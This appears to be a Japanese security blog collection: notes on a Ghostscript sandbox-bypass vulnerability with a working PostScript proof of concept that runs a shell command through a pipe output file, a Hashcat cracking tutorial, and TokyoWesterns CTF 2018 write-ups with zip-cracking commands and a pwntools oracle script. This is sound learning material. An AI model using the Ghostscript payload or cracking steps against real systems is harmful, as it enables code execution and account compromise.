なんとmsfにモジュールがある。 exploit/unix/fileformat/ghostscript_type_confusion

参考サイトを翻訳かけながら解読して、以下のような感じだということが分かった。

.eqproc演算子の実装に脆弱性がある。 .eqproc演算子演算子スタックから2つのオペランドを取り出して比較し、結果を演算子スタックにプッシュする

<proc1> <proc2> .eqproc <bool>

オペランドの型は検査されていないので、オペレータスタック上の値もオペランドとして比較することができるらしい。

=> この辺りは良く分からないが、要は演算子と非演算子の区別を付けずに引数として扱ってしまうということだろうか?

ループを通して.eqprocを呼び出すと、型の取り違えでオペレータスタックのスタックポインタがオーバーフローする可能性がある。 スタック操作などの後続の書き込みは、制限された書き込みprimitiveになる(?)。

それで色々やると回避できるとか何とか。

PostScript

参考サイト

PostScriptも一応調べた。

スタックベースの言語で一応チューリング完全。 Forth言語に似ていて、Lispっぽいデータ構造を使うらしい。 Ghostscriptの実装だと、osbot, osp, ostopはそれぞれオペレータ用のスタックのベース、スタックポインタ、スタックトップを示している。 スタック自体はヒープ領域に確保される。

後置記法になってる。 数値などを書くとスタックに積まれていく、命令があるとスタックに積んだ値を対象に処理を行う。

実際に刺さった新しい方の脆弱性

参考にしたサイト

ghostbuttとはまったく関係ない脆弱性だった。 PoC再掲。

%!PS
userdict /setpagedevice undef % userdictという辞書からsetpagedeviceという名前を削除
save % スタックに状態を保存
legal % ページ設定、サイズをlegalに

% 無名関数をスタックに積み、stoppedが実行。null restoreはエラーを起こし、stoppedがtrueになりpopが実行される
{ null restore } stopped { pop } if 

% 正常な処理、これはなくても良さそう。要検証
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops % restoreが失敗したあと何故か/invalidaccessが働かないバグがあるため、本来なら実行できない
% 意味としては、現在のデバイスの/OutputFileプロパティにパイプしたコマンド実行を設定しろという意味?
% この結果実行されるっぽい

/invalidaccess のチェックはrestoreが失敗したあとは働かない。 エラーハンドリングの中ではSAFERのサンドボックス内でもシェルコマンドの実行ができる。

# 符号化方式を識別するプログラムを作った

符号化方式を識別するプログラムを作った

https://github.com/4hiziri/detect-encode

TWCTF2018中に色々血迷って試行錯誤してるときに作った簡単なツール。 Base32とか、uuencodeとかの識別を文字の種類から識別する。 もうちょっと使いやすくしたい。

Hashcat 使い方

Hashcat

JohnTheRipperと比べたときの利点

JohnTheRipperだとハッシュファイルを作成して形式を合わせる必要があってやや面倒。 hashcatだとハッシュ値を直接引数に渡せて便利。

ヘルプがとても親切で見やすい。

Hashcat 使い方

例で使ってるハッシュ値echo -n "xxxx" | md5sumを使って生成してる。 別にsha1でもsha2でも良いが、-nを付けないと改行が入ってうまく解析できなくなるので注意。

一度クラックしたハッシュは保存されるので、繰り返し試すのに向いていない。 ~/.hashcat/hashcat.potfile内にクラックしたハッシュが保存されているので、試すときは適宜削除しよう。 --removeオプションもあったが使い方が分からなかった。

単純なクラック

基本的には-mオプションでハッシュ形式の指定、-aオプションで攻撃モードの指定、そしてハッシュ値を渡す。 結果の表示には--showオプションを使用する。

下はブルートフォースする例

# echo -n 'hello' | md5sum

# -m 0: md5
# -a 3: ブルートフォース
# hashcat --helpでハッシュの種類のIDが見れる
hashcat -a 3 -m 0 5d41402abc4b2a76b9719d911017c592 

# 結果の表示
hashcat -a 3 -m 0 5d41402abc4b2a76b9719d911017c592 --show
# => 5d41402abc4b2a76b9719d911017c592:hello

ヘルプの表示

--help、普通。 でも表示がとても親切なのでJohnより分かりやすい。

辞書攻撃

-a 0を指定すると辞書攻撃ができる。

# echo -n 'P@ssw0rd' | md5sum

hashcat -a 0 -m 0 161ebd7d45089b3446ee4e0d86dbcf92 rockyou.txt

2つの辞書を組み合わせて、あたらしくワードを作って攻撃することもできる。 最初に指定した辞書が左側、後に指定した辞書が右側になる(見た目の位置と一致するので分かりやすい)。

ルールによる変換

ワードリスト中の単語の先頭を大文字にするとか、3回繰り返すとかのルールを設定して攻撃できる。 どういうルールがあるかは公式のリファレンスを見よう。 攻撃モードが0、6、7で使うことができる。 ルールの指定は-j, -k, -rで指定できる。 -j, -kではそれぞれ左の辞書、右の辞書の単一のルールを指定できる。 -rではルールが書かれたファイルを指定することができて、複数のルールを同時に試行できる。

単一の辞書に単一のルールを適用する例

# echo -n 'P@SSW0RD' | md5sum
# -j u: ワード中のアルファベットを大文字にするルール

hashcat -a 0 -m 0 -j u b46f685f85e0af830d82ddbbe795eff3 rockyou.txt

マスク

マスクによって使う文字の種類と位置を指定してブルートフォースを実行できる。 どういう指定ができるかは公式のリファレンスを見よう。

4ケタの数字のハッシュをクラックする例。

# echo -n '1231' | md5sum
# ?d: 数字、?d?d?d?dで4ケタの数字を意味する

hashcat -a 3 -m 0 6c14da109e294d1e8155be8aa4b1ce8e '?d?d?d?d'

その他

基本的な使い方はこんな感じになる。 他にもOpenCL使って高速化したりできる。

TokyoWesterns CTF4th 2018 Writeup

TokyoWesterns CTF 4th 2018 Writeup

TWCTF4th 2018のWriteupです。今回は始めてのチーム戦でした。

pwn解けなかった...

warmupだけです。

SimpleAuth

Web問、warmup

問題文にはURLが貼ってある。 最初にアクセスするとPHPソースコードが表示され、MD5ハッシュの比較をしていることが分かる。 MD5ハッシュはhash('md5', $user.$pass);と、ユーザ名とパスの組み合わせになっている。 Webに詳しくないのでMD5のハッシュをクラックする問題かと思ってしばらく解けなかった...

PHPではURLで渡されたクエリがそのまま変数として扱えるので、hashed_passwordというパラメータを送信すると、$hashed_passwordの値はパラメータの値になる。 ソースコードを読むとuserとpassを設定していなくてもhashed_passwordのチェックは行われるため、ハッシュを送信するだけでいい。 つまりpass the hashが成立する。 具体的には、http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757eというクエリを投げればいい。 これでフラグが表示される。

PHPとWebにもう少し詳しければすぐに気付けたはず、複雑に考え過ぎた。 これはWeb問であってCrypto問じゃない。繰り返す、Web問であってCrypto問じゃない

dec dec dec

Rev問

バイナリが降ってくる。 チームの人が解析したのを見て閃いた感じ。

静的解析で見てみると、文字列処理っぽいのを3回繰り返してからバイナリ中の文字列と比較している。 入力がフラグらしいので、この文字列を復元するのが目的になる。

動的解析してみると、3回の文字列処理のうち一回目は単なるBase64だと分かる。適当にやってれば末尾に=が付いた文字列が出てくるのでなんとなく察せると思う。

次の処理が若干分かりにくいが、=のままアルファベットだけ変化してることと単なる符号化であるという前提で考えるとrot13ではないかと閃いた。試してみると正解だった。

最後の文字列処理が分かりにくかったが、色々試してみてuuencodeだと分かった。

まとめると、入力文字列 -> base64 -> rot13 -> uuencode -> バイナリ中の文字列と比較、という流れになる。 つまり、バイナリ中の文字列 ->uudecode -> rot13 -> base64 decodeとすればフラグが手に入るはずである。

しかし、何故かバイナリ中の文字列を復号してもTWCTF{base64までしか復元できなかった。謎。多分uudecodeのやり方が悪いんだとは思う。 でもここまで分かったら十分である。base64, rot13, uuencodeだったんだから符号化方式の名前だと当たりを付けてみたらビンゴだった。

とりあえず復号スクリプト

python3 -c "from codecs import decode;print(decode(b'begin 660 <data>\n425-Q44E233=,>E-M34=,,\'-$/3T \nend\n', 'uu').decode())" | nkf -r | base64 -d

破損しているので注意。 Ubuntuからuuencodeなくなってるから凄い不便。

scs7

Crypto問

問題文にはサーバの情報しかない。 とりあえずリモートサーバに接続すると暗号化されたフラグが表示され、メッセージの入力と暗号文の取得ができるようになっている。 適当に入力して試してみたところ、以前に出てきた文字の情報を暗号化に使用することが分かった。 例えば、適当にAAAAとAAABを入力すると最後の1文字だけ違う暗号文になっていて、ABAAとAAAAを入力すると先頭の数文字以降はまったく違う暗号文になっている。

この特徴とフラグがTWCTF{から始まっていることを利用すると、フラグを一文字ずつ特定することが可能になる。 まず、TWCTF{を一文字ずつ増やしていって先頭の数文字が一致する長さを探す。これでフラグの文字数を特定する。 この前提は少し怪しいけどとりあえずうまくいった、47文字だと判明。

次にありえそうな文字を順番に1文字付加していって、暗号化されたフラグと一致する文字数が増加する文字を採用するようにする。 例えば、TWCTF{A + 40文字, TWCTF{B + 40文字...という感じで試行し、返ってきた暗号文と暗号化フラグを比較して、一致する文字数が増えたものを採用といった感じである。 やってて気付いたけど複数の候補が存在するので探査するときには注意が必要になる、その場合は2文字目でマッチする長さが増加しなくなるので弾く。 これを40文字分繰り返せばいい。途中までやると16進数値になっていることが分かるので探索範囲は狭まる。

スクリプトを書いたがほぼ手動だった。失敗するとサーバへのブルートフォースになるので自動化がためらわれる...

from pwn import *
import string
import time

flag_head = 'TWCTF{'
flag_tail = '}'
search_range = 'abcdef0123456789' # 複数の文字種が候補になりうるので、順番にブルートフォースしてた
flag_size = 47  # get by analyze_flag_len


# 暗号化されたフラグを抽出する
def fetch_first_msg(io):
    first_msg = io.recvuntil('message:')
    encrypted_flag = first_msg.split('\n')[0]
    encrypted_flag = encrypted_flag.replace('encrypted flag: ', '').strip()

    return encrypted_flag


# メッセージを投げて得られた暗号文を返す
def try_encrypt(io, msg):
    io.clean()
    io.sendline(msg)

    encrypt_msg = io.recvuntil('message:')
    encrypt_msg = encrypt_msg.split('\n')[0].replace('ciphertext: ', '')

    return encrypt_msg


# フラグの長さ調査用、最初の5文字くらいを比較して一致してればその長さを返す
def analyze_flag_len(io, encrypted_flag):
    for i in range(1, 101):
        test_flag = flag_head + 'A' * i  # padding

        enc_msg = try_encrypt(io, test_flag)

        if enc_msg[0:5] == encrypted_flag[0:5]:
            log.info("Challenge message: {}".format(enc_msg))
            log.info("Encrypted flag: {}".format(encrypted_flag))

            return len(test_flag)

    return None


# 文字列の先頭から何文字一致するか返す、他に関数あるかも
def match_len(str1, str2):
    count = 0

    for ch1, ch2 in zip(str1, str2):
        if ch1 == ch2:
            count += 1
        else:
            break

    return count


# フラグ解析、一文字だけブルートフォースする感じ
def crack_encryption(io, encrypted_flag, flag_size, flag_head, flag_tail):
    pad_ch = '*'

    # ハッシュだと分かる前は文字全部試してた
    # candidates = string.ascii_letters
    # candidates += string.digits
    # candidates += string.punctuation
    candidates = 'abcdef0123456789'
    hit_chs = []

    get_flag = lambda head, tail: head + pad_ch * (flag_size - len(head) - len(tail)) + tail
    
    test_flag = get_flag(flag_head, flag_tail)  
    io.info("Flag is: " + test_flag)    
    enc_msg = try_encrypt(io, test_flag)

    # 初期の一致文字数、これより長い文字を発見する
    match_length = match_len(enc_msg, encrypted_flag)
    log.info('Initial match length: ' + str(match_length))

    # ブルートフォース
    for ch in candidates:
        test_flag = get_flag(flag_head + ch, flag_tail)
        enc_msg = try_encrypt(io, test_flag)
        tmp_len = match_len(enc_msg, encrypted_flag)

        if tmp_len > match_length:
            log.info("Flag: " + test_flag)
            log.info(tmp_len)
            hit_chs += ch # 複数の文字が候補になりうる

    return hit_chs


for ch in search_range:
    temp_flag_head = flag_head + ch

    io = remote('crypto.chal.ctf.westerns.tokyo', 14791)

    encrypted_flag = fetch_first_msg(io)
    log.info("Encrypted flag is : ")
    log.info(encrypted_flag)

    hit_chs = crack_encryption(io, encrypted_flag, flag_size, temp_flag_head, flag_tail)
    hit_chs = ''.join(hit_chs)
    log.info("Result:" + ch + ", " + hit_chs)

    # ヒットする文字があれば探索を中止。2文字の組み合わせでマッチする長さが伸びるパターンはないと判断した
    if len(hit_chs) != 0:
        io.close()
        exit(0)

    io.close()

    # サーバへのお情け
    time.sleep(3)

# フラグの長さ解析、長さによって暗号文全体が変わるので最初に長さを合わせる必要がある
# flag_len = analyze_flag_len(io, encrypted_flag)
# log.info("Check flag size: {}".format(flag_len))

mondai.zip

misc問

複雑に考え過ぎてやらかしたシリーズその2。

問題文からzipファイルがダウンロードできる。 解凍するとy0k0s0.zipというzipファイルが出てくる。 johnでクラック。

zip2john y0k0s0.zip > hash.txt
john hash.txt

ファイル名がパスなのですぐ終わる。

y0k0s0.zipを解凍するとmondai.zipというzipファイルとcapture.pcapngが出てくる。 pcapファイルを開くとpingのパケットだけがある。 データを見るとすぐに分かるけど、abcdef...とアルファベット順にデータが並んでいることが分かる。 いくつかのpingを見比べるとそれぞれ微妙に長さが違ったので、とりあえず長さをasciiにしてみたらビンゴだった。 いくつかダミーのpingがあるのだけ気を付けてasciiに直すと、それがパスになる。

mondai.zipを解凍すると、さらにmondai.zipとlist.txtが出てくる。 list.txtを開くと10文字くらいの文字列が1000行並んでいる。 ここで複雑に考え過ぎてしまい、list.txtを符号化された文章だと思ってしまった。 実際にはただのパスワードリストなので、これで辞書型攻撃をするだけでいい。

zip2john mondai.zip > hash.txt
john hash.txt --wordlist=list.txt

これで解ける。

解凍すると今度はハッシュ値みたいな名前のファイルが出てくる。 fileコマンドで調べるとこれもzipだった。 ハッシュの長さからMD5かと思って、ファイルのMD5ハッシュを取ったが一致しなかった。 今度こそレインボーテーブルで攻撃するとヒットした。

解凍すると、README.txtとmondai.zipが出てきた。 REDAME.txtによると、パスワードは短いらしいのでブルートフォース

zip2john mondai.zip > hash.txt
john hash.txt

2文字なのですぐに出てくる。 そして出てきた文章によるとこれまでのパスの組み合わせがフラグになる。

これでフラグゲット。

load

Pwn問

できなかったpwn... ファイルを読み込んで、読み込みの成否を表示するだけのプログラムになっている。 リモートで試してみるとflag.txtがあるようなので、おそらくこの中身を見ればいいはず。 /proc/self/fd/0を読み込み先に指定できて、ファイルを読み込むバッファがBOFする。 NX, Full RELRO, FORTIFYとなっている。CanaryはないのでやはりBOF。 しかし、肝心の標準入出力がmain関数の最後で閉じられてしまうためどう頑張ってもflag.txtを表示できない。 使える関数からしても、ファイルを開いたりはできるが新しく外部へと接続するようなことはできないっぽい。 色々考えたけど思い付かなかった。 最初に入力するファイル名に複数のファイルを入れて、/proc/self/fd/1を開いてみたり/dev/ttyとか探してみたりflag.txtを開いてみたりしたけど、どうしても外部に出力できなかった。 BOF自体はfdのクローズ前に可能なので、どうにかして誤魔化すんだろうか。 整数値の読み込み周りで何かあるのかもしれないが思い付かない。 くそう。